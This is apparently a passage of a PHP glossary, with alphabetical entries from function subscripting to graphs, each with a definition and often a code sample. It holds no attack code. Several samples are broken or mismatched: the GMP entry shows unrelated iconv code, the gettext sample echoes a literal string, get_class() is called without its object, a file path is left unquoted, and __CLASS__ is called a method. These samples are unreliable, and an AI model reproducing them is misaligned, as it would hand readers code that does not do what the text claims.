Using types, it is possible to ensure the previous call returns a valid array or object. When left unchecked, the subscripting leads to warnings or fatal errors.
<?php
// displays the third element of the response of 'callMethod', on object 'getObject';
echo getObject()->callMethod()[3];
?>
See Also
Related
Functions
Functions are defined with a set of parameters, a body of code for processing, and a returned value, typed or not.
Methods are defined almost the same way, except for some more options and within the context of a class.
A function is said to be anonymous when it has no name. This is the case of the closures and the arrow functions.
<?php
function trumpet($a, $b) {
return $a - $b;
}
?>
See Also
Related
- Recursion
- Closure
- Arrow Functions
- Method
- Anonymous Function
- First Class Callable
- Default Parameter
- Dereferencing
- Disable Functions
- Return
- Variable Arguments
- Callbacks
- Fallback Function
- Fallback To Global
- Pure Function
- Call Graph
- Impure Function
- Parameter Removal
- Undefined
- Dynamic Class Constant
- Naming Conflict
- PHP Native Function
- Relay Function
- Custom Function
- Identity
- Arity
- Conditioned Structures
- Function Subscripting
- Generator
- yield from Keyword
- Yield
Functional Programming (FP)
Functional Programming, FP for short, is a programming paradigm where programs are built by combining pure functions, avoiding shared state, and minimizing side effects. Instead of focusing on ‘how to do things’ step by step, FP focuses on ‘what to compute’ by composing functions.
PHP supports anonymous functions, closures, iterators and higher-order functions, needed for Functional programming.
See Also
- Functional Programming in PHP · 2nd Edition
- Thinking Functionally in PHP?
- Functional Programming with PHP Generators
Related
- OOP (Object Oriented Programming)
- Paradigm
- Partial Function
- Procedural Programming
- Side Effect
- Declarative Programming
- Determinism
- Functor
- Imperative Programming
- Memoization
- Currying
- Higher-Kinded Type
- List Comprehension
- Monad
Related packages
Functional Test
Functional tests are tests that verify that a feature of the application behaves as specified, by exercising it the way a user would, through its public interface, without checking the internal implementation.
Functional tests operate at a higher level than unit tests: instead of testing a single class or function in isolation, they drive a whole feature, such as submitting a form or calling an API endpoint, and assert on its observable output. They differ from acceptance tests in that they may run at any stage of development to validate that a feature works, rather than serving as the final, business-facing sign-off before release.
Functional tests are a form of black box testing, and are commonly written against a running application, a web page, or an HTTP API, using frameworks such as Codeception, Behat, or PHPUnit’s own functional test cases in Symfony and Laravel.
See Also
Related
Related packages
Functor
A functor is a type that can be mapped over. It must implement a function, usually called map or fmap, that applies a function to the values inside the functor, without altering the functor’s structure.
See Also
Related
Related packages
Future
A future is a programming construct representing a value that is not yet available but will be resolved at some point. It is closely related to promises: a future is the read-only view of an asynchronous result, while a promise is the write side that resolves or rejects that future.
In languages like Java, Scala, and Dart, futures and promises are distinct objects. With languages like PHP, the distinction is often blurred, and the terms are used interchangeably within async libraries like ReactPHP or Amp.
Futures enable non-blocking code by allowing a computation to proceed without waiting for a result that is not yet ready.
See Also
Related
Related packages
Fuzzing
Fuzzing refers to an automated software testing technique where the application is fed random, unexpected, or malformed data to discover bugs, vulnerabilities, and unexpected behaviors.
See Also
Related
fwrite()
fwrite() is a PHP native function that writes a string to an open file pointer. It returns the number of bytes written, or false on failure. fputs() is a plain alias of fwrite().
Key characteristics:
- Writing may stop before the end of the string if the stream refuses more data, so the return value should be checked against
strlen()of the data for reliability - An optional
lengthparameter caps the number of bytes written, even if the string is longer - Binary-safe, and works identically on files, pipes, and sockets
fwrite() requires the file pointer to have been opened in a writable mode, such as 'w', 'a', or 'r+', with fopen(). For writing an entire string at once without manually managing a handle, file_put_contents() is more convenient.
<?php
$fp = fopen('/tmp/test.txt', 'w');
if ($fp) {
fwrite($fp, 'PHP rocks!');
fclose($fp);
}
?>
See Also
Related
Generalized Algebraic Data Type (GADT)
A Generalized Algebraic Data Type, GADT, is an extension of algebraic data types in which each constructor of the type can return a different, more specific instantiation of the type. This allows the type system to track which constructor was used and to refine the available operations accordingly.
The canonical example is a typed expression tree:
data Expr a where
Lit :: Int -> Expr Int
IsZero :: Expr Int -> Expr Bool
If :: Expr Bool -> Expr a -> Expr a -> Expr a
A Lit produces an Expr Int, while IsZero produces an Expr Bool. An eval function typed eval :: Expr a -> a can then return an Int for Lit nodes and a Bool for IsZero nodes, with the type system proving that no ill-typed expression tree can be constructed.
GADT effectively let data constructors act as proofs. They are natively supported in Haskell, OCaml, and Scala via type refinement in pattern matches.
PHP supports none of the prerequisites for GADT: it has no algebraic data types, no generics, and no exhaustive pattern matching. Class hierarchies with instanceof dispatch approximate the structural separation of cases, but without the type refinement that makes GADT powerful. The return type of a method cannot vary based on which subclass was constructed.
See Also
- Generalized Algebraic Data Types and Object-Oriented Programming
- 6.4.9. Generalised Algebraic Data Types (GADTs) — GHC User’s Guide
Related
Garbage Collection
Garbage collection is a PHP mechanism that checks memory and frees it when it needs to store new values.
PHP allocates memory as it needs, when variables and objects are created in the code. Sometimes, those variables are destroyed, using explicit unset() calls, or implicitly, when leaving a method or destroying an object.
To speed up the process, PHP postpones memory cleaning until the end of the application, or when it reaches some internal threshold. Then, it reviews all the currently allocated variables, and when they are not used anymore, that is when the reference counter is down to 0, it removes them.
As garbage collection requires pausing the execution, PHP only runs it on-demand, via gc_collect_cycles() calls, or once every ten thousand objects to clear.
Garbage collection is needed to handle circular reference: objects that mutually reference each other, and which requires some processing to identify as dead data.
<?php
// Explicit Garbage Collection
gc_collect_cycles();
// implicit garbage collection
// well,... difficult to illustrate, right?
?>
See Also
Related
- Zval
- References
- Reference Count
- Circular Reference
- unset()
- Weakmap
- Memory
- Memory Leak
- Ownership
- Linear Type
- Memory Arena
- Object Lifecycle
- Shutdown
- PHP Engine
Graphic Draw (GD)
GD is the name of a PHP extension that can manipulate several image formats, such as GIF, PNG, JPEG, WBMP, and XPM, and draw graphics.
The GD extension is a binding to the libgd graphics library. It provides functions to create images from scratch, or to load them from an existing file or a binary string, then draw shapes, lines, text, and apply filters, before outputting the result directly to the browser or saving it to disk. Typical uses include generating thumbnails, watermarking uploaded pictures, building CAPTCHAs, drawing charts, or producing dynamically generated images such as Open Graph previews.
GD ships as a bundled extension with PHP, but it must still be enabled, either at compile time with --with-gd, or by loading the gd.so / php_gd.dll shared extension in php.ini. Depending on how the underlying libgd was built, support for specific formats such as JPEG, WebP, or FreeType-based text rendering may or may not be available, which can be checked with gd_info().
GD is not the only image library available for PHP: the Imagick extension, a binding to ImageMagick, offers a richer feature set and support for more formats, at the cost of a heavier dependency. Because GD functions accept resource-like GdImage objects and can decode attacker-supplied files, careless use, for instance passing unchecked, remotely-provided data to imagecreatefromstring(), has historically been a source of security vulnerabilities.
<?php
// Creating a PNG image with PHP
// Extract from the PHP documentation
header("Content-type: image/png");
$string = $_GET['text'];
$im = imagecreatefrompng(images/button1.png);
$orange = imagecolorallocate($im, 220, 210, 60);
$px = (imagesx($im) - 7.5 * strlen($string)) / 2;
imagestring($im, 3, $px, 9, $string, $orange);
imagepng($im);
?>
See Also
Related
Gearman
Gearman is a PECL extension that provides a client for the Gearman job server, a system for distributing work across machines or processes. A client submits a job to the Gearman server, one or more workers register to handle jobs of that name, and the server dispatches each job to an available worker.
Jobs can be submitted synchronously, where the client blocks until a result comes back, or asynchronously, in the background, where the client fires the job and moves on. Gearman also supports splitting a large task into pieces that are farmed out to multiple workers and their results merged, and it can report progress back to the client for long-running jobs.
Gearman is commonly used to offload slow operations, such as image processing, sending email, or generating reports, out of the request/response cycle and onto a pool of background workers, which can be scaled independently of the web tier.
<?php
// Worker process: registers a function and waits for jobs.
$worker = new GearmanWorker();
$worker->addServer();
$worker->addFunction('resize_image', function (GearmanJob $job) {
$path = $job->workload();
// ... resize $path ...
return 'done';
});
while ($worker->work()) {
}
// Client process: submits a job and waits for the result.
$client = new GearmanClient();
$client->addServer();
$result = $client->doNormal('resize_image', '/uploads/photo.jpg');
?>
See Also
Related
Generative Engine Optimization (GEO)
Generative Engine Optimization, or GEO, is the practice of shaping content so that it is more likely to be retrieved, cited, and favorably summarized by generative AI systems, such as ChatGPT, Perplexity, Google Gemini, Claude, Copilot, etc, when they answer a user’s question. The term was formally introduced in a 2023 research paper by authors from Princeton, Georgia Tech, the Allen Institute for AI, and IIT Delhi, which proposed a benchmark and measured that tactics such as adding statistics, direct quotations, and citations to a source could increase its visibility inside generative answers by a large margin. GEO differs from traditional search engine optimization in its target and its metric: instead of optimizing for a ranking position in a list of blue links that a human will scan, GEO optimizes for being selected, quoted, or paraphrased as evidence inside a synthesized answer that the human may never click through from. Practical techniques include writing clear, self-contained passages that answer a specific question, structuring content with explicit facts and sources, maintaining crawlable and machine-readable pages, and publishing an llms.txt file to guide AI crawlers, much as robots.txt and sitemaps guide traditional search engines.
See Also
Related
Generator
generator has several distinct usages.
- Yield generator: a function or method that uses
yield, implicitly returning an instance of\Generatorand implementing theIteratorinterface without the boilerplate of writing one - Random number generator: an algorithm or function, such as
rand(),mt_rand(), or theRandom\Engineclasses, that produces a sequence of numbers that appears random - Code generator: a tool or library that automates the creation of boilerplate PHP code from templates, configuration, or a schema
Absent further context, generator most often refers to the yield generator.
Related
- Yield Generator
- yield from Keyword
- Yield
- Random
- PRNG
- Code Generator
- Functions
- Method
- Closure
- Arrow Functions
Generics
Generics, sometimes called parametered polymorphism, or more precisely parametric polymorphism, are a style of types, where the type of a property, parameter or return is specified at the declaration level.
The generics syntax looks like: $users = new List<User>(); where List is a class that holds a list of items, and those items are of the type between brackets. Here, it is User.
Generics allows the creation of general classes, that can process several types of data. The actual application’s type is declared in the type itself. This is similar to configure an array to only handle one type of elements.
Generics have been submitted as RFC since 2016, and are currently not implemented, in the foreseeable future.
One implementation of generics is available, with transpiling: see mrsuh/php-generics.
Generics are generally considered to be not supported, although external tools provide this feature, such as static analysis. Generics are not supported at the engine level.
See Also
- Why we can’t have generics in PHP
- PHP RFC: Generic Types and Functions
- mrsuh/php-generics
- How To Start Using Generic Types In PHP
Related
- Type Checking
- Polymorphism
- Collection
- Monomorphization
- Types Erasure
- Algebraic Data Type
- Existential Type
- Generalized Algebraic Data Type (GADT)
- Higher-Kinded Type
- Phantom Type
- Row Polymorphism
- Template Metaprogramming (TMP)
- Type System
GeoIP
GeoIP is the technique of resolving an IP address to an approximate geographic location, typically a country, region, or city, by looking it up in a database that maps IP address ranges to places, such as MaxMind’s GeoLite2 and GeoIP2 databases. PHP historically offered a dedicated geoip PECL extension for querying these lookups natively, but it has since been unbundled and is largely obsolete; modern PHP code instead uses a library such as geoip2/geoip2, which reads a local .mmdb database file, or calls a third-party HTTP API. Because the mapping is based on network allocation records rather than the device itself, GeoIP results are only approximate, accurate at the country level most of the time but often unreliable at the city level, and can be thrown off entirely by VPNs, proxies, or mobile carrier NAT. It is commonly used for content localization, geo-blocking, fraud scoring, and rough analytics, but should not be relied on where precise location is required.
<?php
use GeoIp2\Database\Reader;
$reader = new Reader('/path/to/GeoLite2-City.mmdb');
$record = $reader->city('128.101.101.101');
echo $record->country->isoCode; // 'US'
echo $record->city->name; // 'Minneapolis'
?>
See Also
Related
Related packages
Geolocation
Geolocation is the process of determining the real-world physical location of a device, a user, or a piece of content. On the web, a browser can report a device’s coordinates directly through the HTML5 Geolocation API, using GPS, Wi-Fi positioning, or cell-tower triangulation, and a PHP backend then simply receives and stores the latitude and longitude sent by client-side JavaScript. When no device-reported coordinates are available, an approximate location can instead be inferred server-side from the visitor’s IP address, a technique known as GeoIP. Typical uses in applications include localizing content and currency, restricting or redirecting access by country, pre-filling shipping addresses, powering store-locator features, and enriching analytics or fraud-detection signals with a rough location.
<?php
// Coordinates sent by the browser's navigator.geolocation API as POST fields
$latitude = (float) ($_POST['latitude'] ?? 0);
$longitude = (float) ($_POST['longitude'] ?? 0);
if ($latitude !== 0.0 && $longitude !== 0.0) {
echo "User is near {$latitude}, {$longitude}";
}
?>
See Also
Related
get_browser()
get_browser() is a PHP native function that looks up the capabilities of a browser, based on its user agent string, and returns them as an object or an array.
get_browser() relies on the browscap directive in php.ini, which must point to a local copy of the browscap.ini database, an external file mapping user agent signatures to browser names, versions, and capabilities such as support for frames, cookies, or JavaScript. Without a configured browscap file, get_browser() emits a warning and returns false.
If the optional user_agent argument is omitted, PHP uses the value of $_SERVER['HTTP_USER_AGENT'] for the current request.
The browscap.ini approach is considered obsolete for new projects: it is difficult to keep up to date, degrades performance when the file is large, and has been superseded by client-side feature detection or the User-Agent Client Hints proposal.
<?php
// Requires browscap = /path/to/browscap.ini in php.ini
$browser = get_browser(null, true);
echo $browser['browser']; // e.g. 'Chrome'
echo $browser['platform']; // e.g. 'Linux'
var_dump($browser['javascript']); // true
?>
See Also
Related
get_class()
get_class() is a PHP native function, that returns the name of the class of an object.
get_class() returns the full name of the class, including its namespace and original letter cases.
get_class() may be replaced by the magic method __CLASS__ when operating on $this. It may also be replaced with an object in other situation, such as fetching a static constant, or instantiating a new object.
<?php
namespace Zoo\Savanna;
class Elephpant {}
$trunk = new Elephpant;
print get_class(); //Zoo\Savanna\Elephpant
$herd = new $trunk;
print get_class(); //Zoo\Savanna\Elephpant
?>
See Also
Related
get_class_vars()
get_class_vars() is a PHP native function that returns the default properties of a class as an associative array.
Unlike get_object_vars(), which operates on an object instance, get_class_vars() takes a class name as a string and returns the default values of the class’s declared properties, including inherited ones.
Only properties accessible from the current scope are returned.
<?php
class Elephpant {
public string $name = 'default';
protected int $count = 0;
private bool $active = true;
}
$vars = get_class_vars(Elephpant::class);
print_r($vars);
// Array ( [name] => default ) // only public properties visible in this scope
?>
See Also
Related
get_debug_type()
get_debug_type() returns the type of a value as a string, using the same names that appear in type declarations, rather than the historical names used by gettype().
For scalars and arrays, the result is one of int, float, string, bool, array or null. For an object, it returns the fully qualified class name, including an anonymous class, which is reported as class@anonymous followed by its file and location. For a resource, it returns the specific resource type, such as stream or curl, instead of the generic resource reported by gettype().
get_debug_type() exists because gettype() predates PHP’s type system, and returns names such as integer, boolean or double, which never match the int, bool or float used in a parameter or return type declaration, making it awkward to build accurate error messages from gettype() output alone.
<?php
function describe(mixed $value): string {
return get_debug_type($value);
}
echo describe(42); // int
echo describe('hi'); // string
echo describe(new stdClass()); // stdClass
echo describe(fopen('php://memory', 'r')); // stream
?>
Related
get_object_vars()
get_object_vars() is a PHP native function, which returns an array with the object properties as index, and their related respective values.
get_object_vars() does not return static properties, which are class level, and not object level.
get_object_vars() does not return uninitialized properties. It returns all existing properties, may they be specified in the class definition, or not. It returns the trait and the parent properties.
get_object_vars() respect visibility, so its result may differ depending on its calling location: private properties are only visible when get_object_vars() is called from within the class itself; protected may be visible when called from a child; otherwise, only public properties are returned.
Constants are not returned by that function.
get_object_vars() is very similar to the (array) cast operator. It is very different from the get_class_vars() method, which returns the properties as defined in the class, and including the static properties. It is also possible to use json_encode() followed by json_decode(), though some data might get lost in the translation process.
<?php
trait HasTusks {
public $tuskLength = '3';
}
class Elephpant {
use HasTusks;
private int $age = 1;
private int $weight = 2;
public int $trunkLength = 3;
public int $earSize = 4;
public int $herdSize;
static string $species = 'abc';
function __construct() {
unset($this->earSize);
$this->waterIntake = 6;
}
}
print_r(get_object_vars(new elephpant));
/**
Array
(
[trunkLength] => 3
[tuskLength] => 3
[waterIntake] => 6
)
*/
?>
See Also
Related
- get_class_vars()
- Reflection
- Visibility
- Properties
- Cast Operator
- json_encode()
- Static Property
- Introspection
getenv()
getenv() is a PHP native function that reads the value of an environment variable. Called with a name, it returns that variable’s value, or false if it is not set. Called with no argument, it returns an associative array of every currently available environment variable.
Unlike the $_ENV superglobal, whose content is collected once at the start of the script and depends on the variables_order directive, getenv() always queries the environment directly, so it reflects changes made during execution, for example with putenv().
When PHP runs under a SAPI such as FPM or FastCGI, getenv() returns the value set by the SAPI itself, even if putenv() was used to override it locally; passing true as the second, local_only, argument restricts the lookup to locally-set values.
<?php
// read a single environment variable
$home = getenv('HOME');
// read every environment variable
$env = getenv();
putenv('MY_VARIABLE=42');
echo getenv('MY_VARIABLE'); // 42
?>
See Also
Related
Class Getter Method
Getters are methods used to access the values of a property. Getters may include formatting, or not.
Getters are usually created with a setter method.
Getters are built on top of private properties: that way, the getter is the main way to reach the data.
Getters may be replaced by a property hook.
Getters generate a lot of boilerplate code, as they must be created for each property, and are often reduced to returning the property itself. This does not help performance either, as a call to a property is now replaced by a method call.
<?php
class Elephpant {
private $property;
public function getProperty() {
return $this->property;
}
}
?>
See Also
- PHP Getters and Setters Tutorial: Encapsulation Guide
- The Magic of PHP Getters, Setters, and Readonly Classes: Crafting Clean and Efficient Code
Related
- Class
- Class Setter Method
- Class Wither Method
- Property Hook
- Visibility
- Boilerplate
- Encapsulation
- implements
gettext Extension
gettext is a library that provides features to translate messages for the users. It includes the famous gettext() function, and its alias _(), the underscore.
It is based on the locale system, and the .mo files.
<?php
// example from the PHP manual: https://www.php.net/manual/en/function.gettext.php
// Set language to German
putenv('LC_ALL=de_DE');
setlocale(LC_ALL, 'de_DE');
// Specify location of translation tables
bindtextdomain("myPHPApp", "./locale");
// Choose domain
textdomain("myPHPApp");
// Translation is looking for in ./locale/de_DE/LC_MESSAGES/myPHPApp.mo now
// Print a test message
echo gettext("Welcome to My PHP Application");
// Or use the alias _() for gettext()
echo "_(Have a nice day)";
?>
See Also
Related
gettype()
gettype() is a PHP native function that returns the type of a variable as a string. Possible return values are "boolean", "integer", "double", "string", "array", "object", "resource", "resource (closed)", "NULL", and "unknown type".
These return values are historical and do not match the type names used in type declarations, such as int, float, or bool: for that purpose, get_debug_type(), available since PHP 8.0, is recommended, as it returns the actual type name, including the class name for objects.
gettype() is mostly used for debugging or logging, rather than for type checking in conditional logic: dedicated functions like is_array(), is_string(), is_int(), is_bool() are faster and clearer for that purpose. Changing a variable’s type is done with settype(), the counterpart of gettype().
<?php
echo gettype(42); // integer
echo gettype(3.14); // double
echo gettype('hello'); // string
echo gettype([1, 2]); // array
echo gettype(null); // NULL
echo gettype(new stdClass()); // object
?>
See Also
Related
- settype()
- get_debug_type()
- is_array()
- is_string()
- is_int()
- is_bool()
- is_iterable()
- Type Checking
- Type Juggling
- Compiler Optimized Function
Ghost Object
A ghost object is a design pattern, catalogued by Martin Fowler as one of the four varieties of Lazy Load, where an object is created empty, without any of its real data, and silently loads its full state the first time one of its properties or methods is actually accessed.
Unlike a plain proxy, which typically wraps a separate real object behind a shared interface, a ghost object is an instance of the real class itself: it has the right type, passes instanceof checks, and can be passed around freely, but starts out hollow. Only when it is actually touched does it trigger the expensive work, a database query, a remote call, a heavy computation, to fill itself in.
Doctrine ORM has long generated ghost-like proxy classes for its entities to defer loading related objects until they are accessed. PHP 8.4 brought this pattern into the engine itself with native lazy-objects: ReflectionClass::newLazyGhost() creates a genuine instance of a class that stays uninitialized until first accessed, without any code generation or subclassing, making the ghost object pattern a language feature rather than a library trick.
<?php
class Invoice
{
public function __construct(
private int $id,
private array $lines = [],
private float $total = 0.0,
) {
// Imagine this constructor also runs a heavy computation
// or a database query to compute $lines and $total.
}
public function getTotal(): float
{
return $this->total;
}
}
// Build a ghost: an Invoice instance that looks real, but has no data yet
$initializer = static function (Invoice $ghost): void {
// Runs only once, the first time the ghost is actually touched
[$lines, $total] = loadInvoiceFromDatabase(42);
$ghost->__construct(42, $lines, $total);
};
$reflector = new ReflectionClass(Invoice::class);
$invoice = $reflector->newLazyGhost($initializer);
// Nothing has been loaded yet: $invoice is still a hollow ghost
echo $invoice->getTotal(); // first access: the initializer fires, filling in the real data
?>
See Also
Related
Related packages
Graphics Interchange Format (GIF)
GIF, for Graphics Interchange Format, is a bitmap image format developed by CompuServe in 1987. It supports up to 256 colors per frame and uses lossless compression based on the LZW algorithm.
GIF is widely known for supporting animation through multiple frames stored in a single file.
The GD extension can create and manipulate GIF images using functions such as imagecreatefromgif(), imagegif(), and imagecreatetruecolor().
As with the rest of internet, nobody in the community has sorted out the pronunciation of this: it may be GIF or GIF.
<?php
$image = imagecreatefromgif('input.gif');
// Manipulate...
imagegif($image, 'output.gif');
imagedestroy($image);
?>
See Also
Related
Git Hook
Git hooks are scripts that Git executes automatically at specific points in the version-control workflow. They live in the .git/hooks/ directory of a repository and are triggered by operations such as committing, merging, pushing, or checking out.
Common hooks used in projects:
pre-commitruns before a commit is recorded. It is the standard place to invoke code-quality tools: static analysis or unit test suites to block commits that would introduce errors or style violationscommit-msgvalidates the commit message format, for example enforcing a conventional-commits patternpre-pushruns beforegit pushsends data to a remote. It is a last line of defence for running the full test suitepost-checkoutandpost-mergecan automatecomposer installafter switching branches or pulling changes
Because .git/hooks/ is not tracked by version control, teams share hook scripts through tools such as captainhook/captainhook, brainmaestro/composer-git-hooks, or husky, for JavaScript-adjacent stacks. These tools install hooks from a committed configuration file, ensuring every contributor runs the same checks.
#!/bin/sh
# .git/hooks/pre-commit
# Block commit if PHP syntax errors are found
git diff --cached --name-only --diff-filter=ACM | grep '\.php$' | while read file; do
php -l "$file" || exit 1
done
Related
- Hook
- git
- Version Control System (VCS)
- Continuous Integration (CI)
- Commit
- Linting
- Code Review
- Composer
Related packages
git
Git is a distributed version control system that is widely used for tracking changes in source code during software development. It was created by Linus Torvalds in 2005 and has since become one of the most popular and essential tools in the software development industry. Git allows multiple developers to collaborate on a project, manage different versions of code, and track changes over time.
See Also
Related
- Concurent Version System (CVS)
- Revision
- Secure Hash Algorithm (SHA)
- Version Control System (VCS)
- DevOps
- Rollback
- VCS Commit
- Worktree
- Contribution
- hg
Related packages
glob()
glob() is a function that finds pathnames matching a pattern.
The glob() function is not related to the global keyword.
The pattern syntax follows the rules used by the shell, not regular expressions: * matches any number of characters, ? matches a single character, and bracket expressions such as [a-z] match a range or set of characters. Optional flags let the caller include hidden files, sort results, or return only directories.
Because glob() reads the filesystem directly, its result depends on what is actually present on disk at the moment it is called, and it can be comparatively slow on directories with a very large number of entries. It also returns false on failure rather than throwing an exception, so callers should check the return value before iterating over it.
<?php
foreach (glob("*.txt") as $filename) {
echo "$filename size " . filesize($filename) . "\n";
}
?>
See Also
Related
Global Code
The global code is the code that doesn’t belong to any method or function. Since PHP has no main() method that is called upon execution, the global code in the first file called is used. It is responsible to make the first calls to objects and functions.
Global code is usually organised in a sequential manner. Once the bootstrapping, which create the first objects, install autoload, detect environment, is done, the global code calls one object and let it handle the request.
<?php
// This is the global code
trumpet();
function trumpet() {}
?>
See Also
Related
Global Space
The term global space refers to the global namespace \\\\ or the top-level scope in the PHP language. The global space is where global variables, functions, and global constants reside. When a variable, function, or constant is defined without specifying a namespace, it is stored in the global space.
It is recommended to avoid using the global space for any definition: they should be stored in a custom namespace. Then, they may be imported in other namespaces, with the use expression.
<?php
// This is the global space
namespace {
// this function is defined in the global space
function trumpet() {}
}
?>
See Also
Related
Global State
Global state refers to data that is accessible from anywhere in the application, typically stored in global variables, superglobals, or static class properties.
Global state is often considered an anti-pattern because it makes code harder to test, debug, and reason about. It creates hidden dependencies between components.
Common sources of global state include:
$GLOBALSsuperglobal- Static class properties
- Constants defined with
define() - Files included with require/include
- Environment variables.
<?php
// Global state via static property
class Config {
public static array $settings = [];
}
// Global state via $GLOBALS
$GLOBALS['db_host'] = 'localhost';
?>
See Also
Related
Global Variables
Global variables reside in the global scope, and may be imported in a local scope with the global keyword.
To become a global variable, a variable may use one of the following ways:
- Be declared as such with the
globalkeyword - Be created in the
$GLOBALSvariable, which is a global variable itself - Be created outside any function, method, closure
- Be a super-global
Global variables provide a way to share data in different and remote scopes. They also provide a way for data to be modified by another part of the code, without warning.
<?php
global $count;
$count = 0;
function counter() {
global $count;
// no return here
++$count;
}
counter();
echo $count; // print 1
counter();
echo $count; // print 2
?>
See Also
- How to Declare a Global Variable in PHP?
- PHP Variable Scope Explained: Globals, Superglobals, and Best Practices
Related
- Variables
- Static Variables
- Variable Variables
- $GLOBALS
- global Scope
- Superglobal Variables
- Distributed State
- Hidden State
- Implicit State
- Legacy
- Local Variable
Related packages
global Scope
The global scope is the top level scope. It is the scope when no function, or method scope is active. It is also the first scope when starting execution.
Variables from the global scope are accessible in other scopes by using the global keyword, or the $GLOBALS variable. Variables in the global scope are automatically added to the $GLOBALS variable; in local scopes, the global keyword has that effect too.
Some special variables are called superglobal: they are available in every scope.
The opposite of the global scope is the local scope.
<?php
$trunk = 'A';
function counter() {
echo $GLOBALS['A'];
global $trunk;
echo $trunk;
}
counter();
?>
See Also
Related
- Variables
- Static Variables
- Variable Variables
- Global Variables
- Namespaces
- $argv
- glob()
- Local Scope
- Scope
- Fallback To Global
- Variable Scope
- Superglobal Variables
Glue
Glue represents the piece of string that is used as separator between elements in a join() operation. Glue is also called a separator.
glue is the historical name of the first parameter of PHP’s implode() function, which is an alias for join(). It is the string inserted between every pair of consecutive elements of the array being turned into a single string. An empty glue, '', concatenates the elements without anything between them, while a glue such as ', ' produces a comma-separated list.
Before PHP 8.0, implode() also accepted its arguments in the reverse order, implode($array, $glue), for backward compatibility with very old PHP code; this reversed form was deprecated and later removed, so the glue must now always be passed first, or as the named argument separator in the array signature, implode(array $array, string $separator = ""). As of PHP 8.0, the parameter itself was actually renamed from glue to separator in the official documentation and function signature, even though the older name is still commonly used in tutorials and community discussions.
The reverse operation, splitting a string back into an array using a delimiter, is performed by explode(), which uses a parameter historically called separator as well, playing a symmetrical role to glue.
<?php
print join(glue, [1, 2, 3]);
?>
See Also
Related
GNU Multiple Precision (GMP)
gmp is a PHP extension that stands for “GNU Multiple Precision”. It provides functionality to process mathematically arbitrary-length integers .
The gmp extension allows the basic calculations, like addition, multiplication,… some advanced math functions such as square roots, prime test, legendre symbol, GCD, etc.
<?php
echo 'TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL;
// TRANSLIT : This is the Euro symbol 'EUR'.
?>
See Also
Related
God Object
A god object, or god class, is a term used in software development to describe a class or module that knows too much or does too much within a system. It typically refers to an object that has an excessive amount of responsibilities, making it overly complex and difficult to maintain. In other words, a god object violates the principles of encapsulation and high cohesion.
See Also
- When Classes Do Too Much: Using LCOM to Spot ‘God Classes’ in PHP
- From Bloated Repositories to Atomic Query Builder Pattern
Related
Golf
Code golf is about creating the shortest code, in bytes, to solve a given problem, in a specific language or free of choice. Solutions are scored purely on character count; readability, style, and maintainability are deliberately ignored.
PHP golfers exploit language-specific shortcuts to shave bytes: the short echo tag <?=, omitting the closing ?> tag, the null coalescing and null coalescing assignment operators, ?? and ??=, instead of isset() checks, the ternary shorthand ?:, list()/[] destructuring instead of separate assignments, loose == comparisons, and string-to-number juggling such as writing "1e9" instead of 1000000000.
Community sites such as Code Golf Stack Exchange and Anarchy Golf host PHP-specific challenges, and submissions are usually scored with strlen() run on the minified source.
<?php
// All spaces are removed to make the code compact
$billionPlusOne=1+1e9;
// 1e9 is cast automatically to 1000000000 or 1_000_000_000, but takes less space to write
?>
See Also
Related
Goto
The goto operator is a language construct that allows to perform an unconditional jump in the flow of your code to a specified label.
goto one of the very controversial PHP features and has been the subject of much debate due to its potential to create spaghetti code and make code difficult to read and maintain.
Some legit uses of goto include breaking out of nested loops, implementing state machines, or in some cases for error handling. However, they are rare, and should only considered in last resort.
The target label must be within the same file and context, meaning that it is not possible to jump out of a function or method, nor to jump into one.
goto is case insensitive.
<?php
goto stampede;
echo 'Forage';
stampede:
echo 'Trumpet';
?>
See Also
Related
Related packages
Gradual Type Checking
Gradual type checking is the progressive introduction of types in a code base. When a code base is not fully typed, it is in a state of gradual typing. Types are introduced, which leads to various levels of validation and verifications, and a better stability.
Gradual Type Checking ends when the code is all typed: arguments, return types, properties, constants. There might be some ambiguous situations, such as with variables, yields and use.
<?php
// partially typed function
function trumpet(int $i, $b) {
// some code
}
?>
See Also
- Gradual Type Checking & Sorbet
- What is Gradual Typing
- PHP’s Gradual Typing Journey: From Wild West to Almost Respectable
Related
Gradual Typing
Gradual typing, or a gradual type system, is a type system that lets typed and untyped, or loosely typed, code coexist and interoperate, with the amount of checking growing incrementally rather than being all-or-nothing. A value can flow between a strictly typed region and a dynamically typed one, with the boundary checked at the point where the two meet.
PHP’s type system has grown this way release by release rather than arriving as a single design: class types in version 5.0, scalar types in version 7.0, union types, nullsafe operators, and DNF types since. Each addition is checked at runtime, so the language never had to make a single, all-at-once jump to a fully static system, and existing code keeps working as new, more precise, typed constructs become available around it. mixed, and the absence of a declared type, are what let a codebase stay only partially typed at any point along that path.
Proposals to add generics follow the same philosophy: rather than erased, compile-time-only type parameters, the direction under discussion starts with invariant type parameters that are actually checked at runtime on a narrow surface, such as interfaces, and can grow from there, keeping every new construct held to the same rule the rest of the type system already follows.
<?php
function total(array $orders): mixed // mixed marks the boundary: untyped by choice
{
// ...
}
function totalTyped(array $orders): Money // strictly typed, checked at runtime
{
// ...
}
?>
See Also
Related
- Type System
- Type Checking
- Type Inference
- Type Narrowing
- Type Widening
- Disjunctive Normal Form (DNF)
- Mixed
- Type Parametricity
- Static Code Analysis (SCA)
Grammar
The grammar of a language is the formal set of rules that describes which sequences of tokens form valid statements and expressions. PHP’s grammar is defined in a Yacc/Bison file, in Zend/zend_language_parser.y of the engine source code, that is compiled into the parser used by the Zend Engine.
The grammar operates on tokens produced by the lexer/tokenizer, and is distinct from semantics: a piece of code may be grammatically valid, yet still fail at compile-time or run-time. For example, calling an undefined function.
Ambiguities or changes in the grammar are a common source of backward-incompatible changes between PHP versions, such as the reinterpretation of nested ternary operators or the introduction of new reserved keywords.
<?php
// Grammatically valid, but each statement fails differently
$a = ; // parse error: grammar violation, no expression after '='
foo(); // grammar is fine, but 'foo' is undefined: a runtime error, not a grammar one
?>
See Also
Related
Graph Database
A graph database is a database server that organize data in a network, rather than as tables.
PHP is able to connect to many graph databases, including Neo4j, Gremlin servers, etc.
Graph databases are close to RDF triple stores, which store data as a triplet: origin, destination and link type.
See Also
Related
- Structured Query Language (SQL)
- MySQL
- PostgreSQL
- Column Database
- Graph
- RDF (Resource Description Framework)
- Nosql Database
Related packages
Graph
A graph is a data structure consisting of a set of nodes, also called vertices, and edges that connect pairs of nodes. Graphs can be directed or undirected, weighted or unweighted.
